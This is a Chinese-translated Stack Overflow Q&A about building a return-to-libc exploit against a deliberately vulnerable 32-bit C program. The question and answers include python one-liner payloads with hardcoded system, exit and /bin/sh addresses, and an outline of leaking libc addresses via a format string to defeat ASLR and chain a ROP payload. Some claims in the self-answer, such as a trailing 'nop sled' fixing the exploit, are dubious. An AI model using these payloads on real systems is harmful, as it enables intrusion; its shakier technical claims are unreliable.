【问题标题】:Return into libc attack返回 libc 攻击
【发布时间】:2018-04-03 01:24:17
【问题描述】:

我正在尝试使用格式字符串攻击向量对以下代码实施 return-to-libc 攻击。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
   char a[10];
   scanf("%s",&a);  
   printf(a);
   return 0;
}

我已经在gdb 中使用p system 命令找出了system() 的地址。通过使用x/500s $esp 检查堆栈帧,我发现了包含\bin\sh 的环境变量地址。

system: 0xf7e2cda0 
exit: 0xf7e209d0
\bin\bash: 0xffffd207

有了这些东西,我构造了以下格式字符串:

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp

其中0xffffcdbc - 0x4 是包含系统地址0xf7e2cda0 值的本地地址。

我使用gcc -m32 -fno-stack-protector -o sh sh.c 编译程序并使用gdb sh 运行它。执行后,输入r&lt;inp,我得到以下输出

如上所示,显示了一些错误命令,我只有在再次运行 r 命令后才能进入 shell。有人可以解释一下我在这里缺少什么以便我直接进入 shell 吗?

另外,当我通过偏移 gdb 地址尝试在没有 gdb 的情况下(./sh &lt; inp)执行上面的程序时,我得到一个分段错误错误。我假设一旦上述修复得到纠正,就可以解决这个问题。

请给出一个完整的有效漏洞利用来回答 - 大多数在线教程使用argv[1] 来解释类似的问题,但我希望在不使用参数的情况下让漏洞利用工作。

谢谢!

【问题讨论】:

  • 如果不能解决上述问题,上述程序的任何有效利用字符串也很有帮助!
  • 致那些在没有评论或回复的情况下对我的问题投反对票的人 - 请知道我在发布问题之前花了一些时间,我精心设计了它以确保所有内容看起来都可读。请不要随意投反对票!
  • 您期待/bin/bash/bin/dash 吗?
  • 我的环境变量位置指向/bin/bash,但根据我对gdb 的理解,它被解释为/bin/dash。无论哪种方式,如果我可以对上述代码进行有效利用,那就太好了
  • 好的,你观察到This了吗?

标签: c linux buffer-overflow libc


【解决方案1】:

首先,您正在构建一个纯粹的基于堆栈的溢出,而不是格式化字符串有效负载。

libc 函数 system() 可以与 gdb 一起使用,即使它的参数无效。例如,调用system("asdasd") 仍然为您提供gdb 中的shell(弹出错误消息,这就是您所看到的),因此您的有效负载基本上没有正确定位/bin/sh

你应该在system的地址和/bin/sh的地址之间添加一个填充(很多pwn初学者忘记了这个),例如

print 'A'*padding_to_ret + addr_system + padding + addr_binsh

对于 x86 调用约定,一旦调用函数,参数 是push,接下来是返回地址,所以当ROP-chain取system为 返回,$esp 现在指向padding 的位置,所以 参数/bin/sh ($ebp+0x4) 应该在padding 旁边。


最后你提到你想在没有argv 帮助的情况下构建一个有效载荷,是的,这是可能的,但你需要有机会泄漏 libc 地址以击败 ASLR 以获得地址/bin/sh(你可以在 libc 中找到这个字符串)。

以您提供的代码为例:

  1. scanf("%s, &amp;a)
    • 为下一个printf 构造类似%x%x%9$x 的内容,以在堆栈上泄漏一些libc 地址。
    • main 覆盖返回地址以进行另一次读取。
  2. printf(a)
    • 接收泄漏地址,计算 libc 基地址和其他有用的功能,如system_addr = libc_addr + system_offset
  3. scanf("%s, &amp;a)
    • 现在你知道了system/bin/sh的地址,构建上面的ROP链来获得控制权。

【讨论】:

  • 我确实在 addr_system 和 /bin/sh 的地址之间插入了填充(\xd0\x09\xe2\xf7 -> 退出地址)。我假设你提到的填充长度是 4 个字节,这是我已经拥有的。
【解决方案2】:

经过几天的研究,我终于找到了问题所在。并不是/bin/sh 字符串的地址错误,或者您只需要来自libc 库的\bin\sh 字符串地址位置就可以让它工作,但您只需要一个4 字节的nop sled在您放置的字符串地址的末尾。所以,本质上,我的攻击字符串应该是这样的

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff" + "\x90\x90\x90\x90" ' > inp

或者在您将/bin/sh 直接写入缓冲区的情况下,类似下面的字符串会起作用

python -c ' print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x84\xce\xff\xff" + "\x5c\x73\x68\0" + "\x90\x90\x90\x90" ' > inp

其中\x5c\x73\x68\bin\sh 的十六进制数)存储在\x84\xce\xff\xff 的缓冲区中

注意:我有时还观察到,您在特定位置写的地址不会以某种方式显示出来。在这些情况下,您应该进行填充以确保所有内容都存储在各自的位置。

【讨论】:

  • 有趣,在您的第一个解决方案中,您可以在system 设置一个断点,看看它的参数是什么?
猜你喜欢
  • 2015-04-16
  • 2017-06-22
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2018-04-08
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多